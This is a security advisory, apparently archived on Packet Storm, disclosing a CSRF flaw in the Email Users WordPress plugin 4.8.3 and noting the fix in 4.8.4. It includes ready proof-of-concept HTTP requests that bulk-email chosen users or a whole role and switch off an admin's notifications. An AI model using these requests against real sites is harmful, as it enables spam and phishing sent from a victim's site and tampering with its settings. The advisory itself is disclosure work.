Twenty Year Anniversary

WordPress Email Users 4.8.3 Cross Site Request Forgery

WordPress Email Users 4.8.3 Cross Site Request Forgery
Posted Aug 15, 2016
Authored by Securify B.V., Julien Rentrop

WordPress Email Users plugin version 4.8.3 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
MD5 | b62a138839af9627696d31ca2bd6890c

WordPress Email Users 4.8.3 Cross Site Request Forgery

Change Mirror Download
------------------------------------------------------------------------
Cross-Site Request Forgery vulnerability in Email Users WordPress Plugin
------------------------------------------------------------------------
Julien Rentrop, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was found that the Email Users WordPress Plugin is vulnerable to
Cross-Site Request Forgery. By using this issue it is possible for an
attacker to send arbitrary (bulk) email messages to any address. In
order to exploit this issue, an attacker needs to lure a target user
into clicking a specially crafted link or visiting a malicious website
(or advertisement).

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160718-0001

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Email Users WordPress Plugin
version 4.8.3.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in Email Users version 4.8.4.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_vulnerability_in_email_users_wordpress_plugin.html

The email users admin page has admin pages for;

- Send to individual user(s)
- Send to group of users
- Settings

These functions can all be triggered using a CSRF attack. These functions can get executed when a logged on admin user gets triggered in to opening a page the attacker controls. Especially the option to send mails to groups of users is interesting for an attacker. In order to exploit this issue, an attacker needs to lure a target user into clicking a specially crafted link or visiting a malicious website (or advertisement).
Proof of concept

As you can see in all messages there is not a WordPress nonce (or other kind of CSRF token) present. This makes the CSRF possible. The cookie values should be replaced by the values of a logged on admin user. Most unneeded headers/params are stripped in the examples.
Send to individual user(s)

See below the example message. The attacker can fill in the various fields such as body of the mail. For verification check if the response contains "<p>Email sent to" (followed by nr of users). As user id's are just sequential numbers an attacker can send a list of id's. The "%5B%5D" part is url encoded form of [], so it's also possible to send in a list of user id's at once.

POST /wp-admin/admin.php?page=mailusers-send-to-user-page HTTP/1.1
Host: <target>
Content-Length: 157
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_=wordpress%7C1468866087%7CkHiDEavVSFosPzEhZ8n073TzlG0EquiX7MWSZG5rdei%7Cc51c6bb8ebf70980d284f8a03ebe7d749dd4bb92caac78f8d46bd1e85eb593c9; PHPSESSID=5240mh3f8gfdnn0r1hhbvinoh3;
Connection: close

send=true&fromName=wordpress&fromAddress=sumofpwn%40mailinator.com&mail_format=html&send_users%5B%5D=2&subject=test&mailcontent=test&Submit=Send+Email+%C2%BB

Send to group of users

See above. Here the send_targets param is used to send to the role-subscriber users.

POST /wp-admin/admin.php?page=mailusers-send-to-group-page HTTP/1.1
Host: <target>
Content-Length: 257
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_=wordpress%7C1468866087%7CkHiDEavVSFosPzEhZ8n073TzlG0EquiX7MWSZG5rdei%7Cc51c6bb8ebf70980d284f8a03ebe7d749dd4bb92caac78f8d46bd1e85eb593c9; PHPSESSID=5240mh3f8gfdnn0r1hhbvinoh3;
Connection: close

send=true&fromName=other&fromAddress=other%40mail.com&group_mode=role&mail_format=html&send_targets%5B%5D=role-subscriber&subject=Subject+mail+to+all+subscribers&mailcontent=%3Cstrong%3EMessage+mail+to+all+subscribers%3C%2Fstrong%3E&Submit=Send+Email+%C2%BB

Settings

The following requests turns off noticiations for user id 1. Other modifications are also possible. Note; this is a bit different from previous requests since this is GET instead of POST.

GET /wp-admin/admin.php?page=mailusers-user-settings&action=notifications_off&user%5B%5D=1 HTTP/1.1
Host: <target>
Cookie: wordpress_=wordpress%7C1468866087%7CkHiDEavVSFosPzEhZ8n073TzlG0EquiX7MWSZG5rdei%7Cc51c6bb8ebf70980d284f8a03ebe7d749dd4bb92caac78f8d46bd1e85eb593c9; PHPSESSID=5240mh3f8gfdnn0r1hhbvinoh3;
Connection: close


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    12 Files
  • 8
    Dec 8th
    1 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    15 Files
  • 11
    Dec 11th
    30 Files
  • 12
    Dec 12th
    25 Files
  • 13
    Dec 13th
    7 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close